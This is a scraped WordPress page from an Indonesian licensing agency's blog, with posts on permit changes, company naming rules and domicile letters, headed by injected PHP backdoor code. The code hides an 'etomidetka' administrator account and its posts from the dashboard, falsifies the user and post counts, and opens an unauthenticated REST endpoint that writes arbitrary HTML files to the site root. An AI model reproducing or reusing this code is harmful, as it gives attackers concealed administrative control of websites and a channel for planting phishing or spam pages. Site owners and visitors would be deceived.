//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } cara bikin surat usaha Archives - Jasa Izin Usaha Solo Jasa Izin Usaha Solo

Jasa Izin Usaha Solo Perizianna Usaha Terbaik Di Solo

Desember 8, 2020

Syarat Perubahan SIUJPT

Filed under: Jasa Pembuatan SIUJPT,Pembuatan SIUJPT,SIUJPT Murah Solo,Uncategorized,Urus SIUJPT — Tag: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , — jasaizinsolo @ 3:52 am

Syarat Perubahan SIUJPT

Syarat Perubahan SIUJPT SIUJPT atau Surat Izin Usaha Jasa Pengurusan Transportasi adalah bentuk persetujuan pemerintah provinsi sebagai dasar perusahaan yang melakukan usaha.

SIUJPT juga di tujukan untuk mewakili kepentingan pemilik barang mengurus semua kegiatan yang di perlukan bagi terlaksananya pengiriman dan penerimaan barang melalui transportasi darat, udara atau laut.

SIUJPT dapat di ubah sewaktu-waktu apabila terdapat perubahan tertentu dalam administrasi SIUJPT. Misalnya perubahan lokasi gudang atau lain sebagainya.

Lantas apakah Anda tahu apa saja syarat-syarat perubahan SIUJPT? Jika Anda belum tahu, kami akan menjelaskan secara tuntas di artikel ini. Simak baik-baik ya!

Syarat Perubahan SIUJPT

  1. Melampirkan Akta Pendirian/Akta Perubahan/Berita Acara Rapat Pemegang Saham, SK Menkumham (modal dasar minimal 1,2 milyar).
  2. Fotokopi NPWP Perusahaan.
  3. Fotokopi Domisili Perusahaan.
  4. Melampirkan SIUJPT Asli.
  5. Melampirkan Laporan Tahunan/Kegiatan Perusahaan.
  6. Fotokopi KTP.
  7. Melampirkan Daftar Personalia.
  8. Surat Kuasa apabila pemohon yang datang di Pelayanan Perizinan Terpadu (P2T) bukan pemilik/penanggungjawab.
  9. Daftar Investaris Kantor.
  10. Tanda keanggotaan ALFI/ILFA.
  11. Surat dari Dinas Perhubungan Provinsi.
  12. Melampirkan berita acara cek fisik perusahaan.
  13. Melampirkan fotokopi NIB, Izin Usaha dan Izin Lokasi.

Sampai sini sudah cukup paham bukan apa saja syarat yang harus Anda siapkan untuk perubahan SIUJPT?

Jika Anda mengalami kesulitan dalam mengurus perubahan SIUJPT atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mengurus perubahan SIUJPT.

Selain melayani perubahan SIUJPT, POPJASA juga melayani Jasa Pengurusan Izin Usaha lainnya, antara lain:

  1. Biro Jasa Pengurusan, Pendirian, Pembuatan Izin Usaha PT
  2. Jasa Pengurusan, Pendirian, Pembuatan Izin Usaha CV
  3. Biro Jasa Pengurusan, Pendirian, Pembuatan Izin Usaha UD
  4. Jasa Pengurusan, Pendirian, Pembuatan, YAYASAN, LSM, ORMAS, dsb
  5. Biro Jasa Perizinan Usaha Perubahan SIUP & NIB
  6. Jasa Perizinan Usaha Perubahan Pengurus UD, CV, PT
  7. Biro Jasa Pengurusan Pengurusan Pembuatan Perpanjangan SIUP dan TDP
  8. Pengurusan Jasa Izin Usaha Pariwisata: BPW, Jasa Boga dan Restoran
  9. Jasa Pembuatan Izin Usaha Jasa Kontruksi (IUJK)
  10. Pembuatan Jasa Izin Usaha Jasa Penyedia Transportasi (IUJPT)
  11. Pengurusan Surat Izin Perusahaan Angkutan (SIPA)
  12. Biro Jasa Pengurusan Izin Gudang/Tanda Daftar Gudang (TDG)
  13. Jasa Pengurusan Izin Usaha Industri: TDI, IUI Kecil, IUI Besar dan PP
  14. Biro Jasa Pengurusan Izin Usaha Industri Pangan: PIRT, MUI Halal, BPOM
  15. Pembuatan Izin Usaha Ekspor dan Impor: API, NIK
  16. Jasa Pengurusan Izin Pengajuan Pengusaha Kena Pajak (PKP)
  17. Pembuatan Izin Usaha Pendaftaran HaKI: Hak Paten, Hak Merk, Hak Cipta, Desain Industri

Untuk informasi lebih lanjut mengenai pemesanan perizinan, pendirian atau pembuatan izin usaha, Anda dapat menghubungi kami di:

Cover Area POPJASA :

1. SYARAT PERUBAHAN SIUJPT SURAKARTA
2. SYARAT PERUBAHAN SIUJPT SUKOHARJO
3.SYARAT PERUBAHAN SIUJPT SERAGEN
4. SYARAT PERUBAHAN SIUJPT  KARANGANYAR
5. SYARAT PERUBAHAN SIUJPT WONOGIRI
6. SYARAT PERUBAHAN  SIUJPT BOYOLALI
7. SYARAT PERUBAHAN SIUJPT KLATEN
8. SYARAT PERUBAHAN SIUJPT SALATIGA
9. SYARAT PERUBAHAN SIUJPT BLORA

  • Alamat Kantor Pusat POPJASA:

    Ruko Mezzanine Blok A 25 Nomer 10, Jl. Nginden Semolo, Kec. Sukolilo, Kota Surabaya, Jawa Timur 60118

    Alamat Kantor CABANG POPJASA:

    Jl. Adi Sumarmo No. 59, (Depan Mess Rajawali AURI) Nanasan, Malangjiwan, Kec. Colomadu, Kabupaten Karanganyar, Jawa Tengah 57177

    Kontak POPJASA:

    POPJASA juga sudah memiliki kantor cabang di beberapa kota :
    • Syarat Mendirikan UD, CV, PT Surabaya
      Ruko Mezzanine Blok A-25, Jl. Nginden Semolo No. 38-40, Kel. Nginden Jangkungan, Kec. Sukolilo, Kota Surabaya
    • Syarat Mendirikan UD, CV, PT Malang
      Jln. Teluk Etna II No. 80A, Arjosari Kec. Blimbing Kota Malang 65126
    • Syarat Mendirikan UD, CV, PTMojokerto
      Jl. Wijaya Kusuma Barat RT 01/ RW 05, Kelurahan Sooko Kecamatan Sooko, Kabupaten Mojokerto
    • Syarat Mendirikan UD, CV, PT Pasuruan
      Jl. Raya Bajangan RT. 001 / RW 002 Desa Bajangan Kecamatan Gondang Wetan – Kab Pasuruan Kode Pos 67174
    • Syarat Mendirikan UD, CV, PT Solo
      Jl. Adi Sumarmo No. 59, (Depan Mess Rajawali AURI) Nanasan, Malangjiwan, Kec. Colomadu, Kabupaten Karanganyar, Jawa Tengah 57177
    • Syarat Mendirikan UD, CV, PT Yogyakarta
      Perum Nogotirto 16B, RT/RW 07/21, Jl. Nogotirto, Banyuraden, Gamping, Sleman, Yogyakarta.
    • Syarat Mendirikan UD, CV, PT Semarang
      Merpati 2/5, Pedurungan Tengah, Kec. Pedurungan, Kota Semaran
    • Syarat Mendirikan UD, CV, PT Bandung
      Graha Merah Putih Buah Batu Lantai 1, Jl. Terusan Buah Batu No. 33, Batununggal Kec. Bandung Kidul Kota Bandung 40266
    • Syarat Mendirikan UD, CV, PT Depok
      Jl. Raya Keadilan Rawa Denok Rt 04 / Rw 08 Kel. Rangkapan Jaya Baru Kec. Pancoran Mas Kota Depok
    • Syarat Mendirikan UD, CV, PT Makassar
      Jl. Aroepala BTN Minasa Upa No.AB.5/11, RT/RW. 002/021, Gn. Sari, Rappocini, Kota Makassar

November 30, 2020

NAMA PT PAKAI ISTILAH ASING, BOLEH?

NAMA PT PAKAI ISTILAH ASING, BOLEH?

Jasa izin usaha yogya

NAMA PT PAKAI ISTILAH ASING, BOLEH? — Sebagai seorang pengusaha, pasti Anda pernah bertanya-tanya tentang boleh atau tidaknya nama PT menggunakan istilah dari bahasa asing. Apalagi untuk PT yang merupakan afiliasi PT bertempat pada luar negeri. Bukan begitu?

Dalam UU Nomor 40 Tahun 2007 tentang Perseroan Terbatas, hanya mengatur larangan PT memakai nama yang:

  • Secara sah telah terpakai atau sama pokoknya dengan nama PT lain.
  • Bertentangan dengan ketertiban umum dan/atau kesusilaan.
  • Sama atau mirip dengan nama lembaga negara, lembaga pemerintah atau lembaga internasional, kecuali mendapat izin dari yang bersangkutan.
  • Tidak sesuai dengan maksud dan tujuan, kegiatan usaha atau menunjukkan maksud dan tujuan PT saja tanpa nama diri.
  • Terdiri atas angka atau rangkaian angka, huruf atau rangkaian huruf yang tidak membentuk kata.
  • Mempunyai arti sebagai perseroan, badan hukum atau persekutuan perdata.

Hanya saja, Peraturan Pemerintah Nomor 43 Tahun 2011 tentang Tata Cara Pengajuan dan Pemakaian Nama Perseroan Terbatas mengatur lebih lanjut mengenai hal ini yakni, bagi PT yang seluruh sahamnya dimiliki oleh warga negara Indonesia atau badan hukum Indonesia, maka wajib memakai nama dalam Bahasa Indonesia.

Selain itu, PP 43/2011 ini juga mengatur bahwa nama PT harus memenuhi ketentuan lain yaitu tertulis dengan huruf latin dan dalam hal nama PT yang pengajuannya menyertakan singkatan, singkatan tersebut dapat berupa huruf depan atau akronim nama PT.

Pemerintah turut kembali menegaskan ketentuan penggunaan Bahasa Indonesia dalam penamaan PT melalui Peraturan Presiden Nomor 63 Tahun 2019 tentang Penggunaan Bahasa Indonesia.

Dalam PP tersebut dijelaskan bahwa kewajiban menggunakan Bahasa Indonesia bagi PT hanya berlaku bagi yang seluruh sahamnya dimiliki oleh warga negara Indonesia, atau badan hukum Indonesia.

Kalau Anda masih kebingungan untuk menentukan nama PT atau membutuhkan konsultan untuk membantu Anda dalam mendirikan PT, maka Anda bisa mempercayakannya pada POPJASA.

POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien yang membutuhkan perizinan dan pendirian usaha di seluruh Indonesia!

Layanan POPJASA meliputi:

  1.  Biro Jasa Pengurusan Pendirian Pembuatan Izin Usaha PT
  2. Jasa Pengurusan Pendirian Pembuatan Izin Usaha CV
  3.  Biro Jasa Pengurusan Pendirian Pembuatan Izin Usaha UD
  4. Jasa Pengurusan Pendirian Pembuatan YAYASAN, LSM, ORMAS, dsb
  5.  Biro Jasa Perizinan Usaha Perubahan SIUP & NIB
  6. Jasa Perizinan Usaha Perubahan Pengurus UD, CV, PT
  7. Biro Jasa Pengurusan Pengurusan Pembuatan Perpanjangan SIUP dan TDP
  8. Pengurusan Jasa Izin Usaha Pariwisata: BPW, Jasa Boga dan Restoran
  9. Pembuatan Izin Usaha Jasa Kontruksi (IUJK)
  10. Pembuatan Jasa Izin Usaha Jasa Penyedia Transportasi (IUJPT)
  11. Pengurusan Surat Izin Perusahaan Angkutan (SIPA)
  12. Biro Jasa Pengurusan Izin Gudang/Tanda Daftar Gudang (TDG)
  13. Jasa Pengurusan Izin Usaha Industri: TDI, IUI Kecil, IUI Besar dan PP
  14. Biro Jasa Pengurusan Izin Usaha Industri Pangan: PIRT, MUI Halal, BPOM
  15. Pembuatan Izin Usaha Ekspor dan Impor: API, NIK
  16. Jasa Pengurusan Izin Pengajuan Pengusaha Kena Pajak (PKP)
  17. Pembuatan Izin Usaha Pendaftaran HaKI: Hak Paten, Hak Merk, Hak Cipta, Desain Industri 
  18. Alamat Kantor Pusat POPJASA :
  19. Ruko Mezzanine Blok A Nomer 25, Jl. Nginden Semolo, Kec. Sukolilo, Kota Surabaya, Jawa Timur 60118
  20. Alamat Kantor CABANG POPJASA:

    Perumahan Tohudan Indah 2 Blok A3, Merten, Tohudan, Kec. Colomadu, Kabupaten Karanganyar

    Kontak POPJASA:

November 27, 2020

PERHATIKAN 4 FAKTA MENGENAI SKDP, SEBELUM MENDIRIKAN PERUSAHAAN

Filed under: Buat PT di Solo,jasa buat cv,jasa izin usaha,jasa izin usaha ud,jasa urus nib solo,Jasa Urus SIUP,siup murah di solo,ud murah di surakarta — Tag: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , — jasaizinsolo @ 4:21 am

PERHATIKAN 4 FAKTA MENGENAI SKDP, SEBELUM MENDIRIKAN PERUSAHAAN

PERHATIKAN 4 FAKTA MENGENAI SKDP, SKDP (Surat Keterangan Domisili Perusahaan) merupakan salah satu hal yang wajib dimiliki oleh suatu perusahaan. Sebab domisili merupakan bentuk identitas dari sebuah perusahaan pada saat operasional perusahaan berlangsung.

Nah! Tahukah kamu bahwa SKDP memiliki beberapa fakta yang pelaku usaha  wajib mengetahuinya.  Kalau kamu belum tahu, maka sudah tepat kamu ada membaca artikel yang satu ini sebab kita akan membahas fakta-fakta SKDP secara tuntas. Jadi simak baik-baik ya!

  1. SKDP Berfungsi Sebagai Alamat Domisili Resmi

Sama seperti namanya, SKDP merupakan Surat Keterangan Domisili Perusahaan yang memiliki fungsi untuk menerangkan kedudukan resmi sebuah perusahaan benar berkedudukan pada alamat tersebut atau justru tidak.

Perusahaan yang sudah memiliki SKDP maka telah resmi dan telah mendapat pengakuan berkedudukan pada lokasi yang tercantum dalam dokumen tersebut. Bukan hanya itu saja, SKDP juga merupakan salah satu persyaratan dokumen yang butuh untuk pengurusan dokumen lainnya dalam proses pembuatan legalitas usaha.

  1. SKDP PT Hanya Keluar Khusus Untuk Kedudukan PT pada Zonasi Perusahaan

Pada umumnya, SKDP PT hanya keluar secara khusus untuk kedudukan PT yang berada pada zonasi perusahaan atau zona khusus perkantoran pasa suatu wilayah. Oleh karena itu, usahakan alamat domisili perusahaan anda berada dalam zonasi perusahaan untuk mempermudah pengurusan SKDP PT nantinya.

  1. Masa Berlakunya  Beda Berdasarkan Status Kantor

Sama seperti dokumen-dokumen legalitas usaha lainnya, SKDP juga memiliki masa berlaku. Setelah masa berlaku habis, biasanya SKDP harus memperpanjang lagi. Namun yang perlu anda ketahui adalah masa berlaku SKDP beda berdasarkan jenis domisili.

Singkatnya, domisili kantor bersama atau kantor tetap masa berlakunya adalah 5 tahun. Sementara domisili perusahaan yang menggunakan virtual office masa berlakunya adalah 1 tahun.

  1. Baru Bisa Daftarkan Setelah Akta Perusahaan Selesai

Pada saat pendaftaran SKDP PT, salah satu persyaratan yang wajib untuk di lengkapi adalah akta dari perusahaan. Hal ini  karena SKDP membutuhkan akta dan pengesahannya sebagai salah satu persyaratan yang siap untuk pengurusan berbagai dokumen-dokumennya.

Persyaratan untuk mengurus SKDP antara lain:

  • Akta Pendirian Perusahaan dan Perubahan (jika ada), sekaligus Pengesahannya
  • KTP (Kartu Tanda Penduduk) milik Direktur Utama Perusahaan
  • Perjanjian sewa gedung
  • Surat Keterangan Domisili Gedung
  • Foto tampak luar dan tampak dalam gedung
  • PBB dan Bukti Bayar tahun terakhir

Nah! Sampai sini sudah tahu bukan apa saja fakta-fakta dari SKDP? Kalau kamu ingin mengurus SKDP juga, namun kamu masih kebingungan dengan berbagai syarat-syarat yang harus  terpenuhi atau kamu tidak memiliki banyak waktu, maka kamu tidak perlu khawatir.

Kamu bisa mempercayakan pengurusan SKDP kamu ke POPJASA!

Kamu tidak perlu meragukan POPJASA, sebab POPJASA merupakan konsultan perizinan dan pendirian usaha yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia!

Bukan cuma itu saja, POPJASA juga telah diakui sebagai konsultan perizinan dan pendirian usaha yang memiliki pelayanan terbaik, waktu pengerjaan tercepat dan biaya yang terhemat!

Jadi sudah tidak perlu diragukan lagi, POPJASA memang solusi yang tepat bagi perizinan dan pendirian usaha kamu.

Jangan banyak menunda jika ingin mendirikan usaha. Kalau kamu kesulitan dan khawatir dengan biaya, serahkan saja pada POPJASA karena POPJASA Solusi Terbaik Perizinan Usaha kamu.

Dengan budaya yang antusias, profesional, bertanggungjawab, disiplin dan terpercaya, POPJASA senantiasa berupaya untuk memberikan pelayanan yang berorientasi pada kepuasan pelanggan.

Jadi jangan khawatir, dimana saja kamu berada POPJASA pasti akan selalu bersedia membantu kamu mengurus perizinan dan pendirian usaha!

  1. Alamat Kantor Pusat POPJASA :
  2. Ruko Mezzanine Blok A Nomer 10, Jl. Nginden Semolo, Kec. Sukolilo, Kota Surabaya, Jawa Timur 60118
  3. Alamat Kantor CABANG POPJASA:

    Perumahan Tohudan Indah 2 Blok A3, Merten, Tohudan, Kec. Colomadu, Kabupaten Karanganyar

    Kontak POPJASA:

Powered by WordPress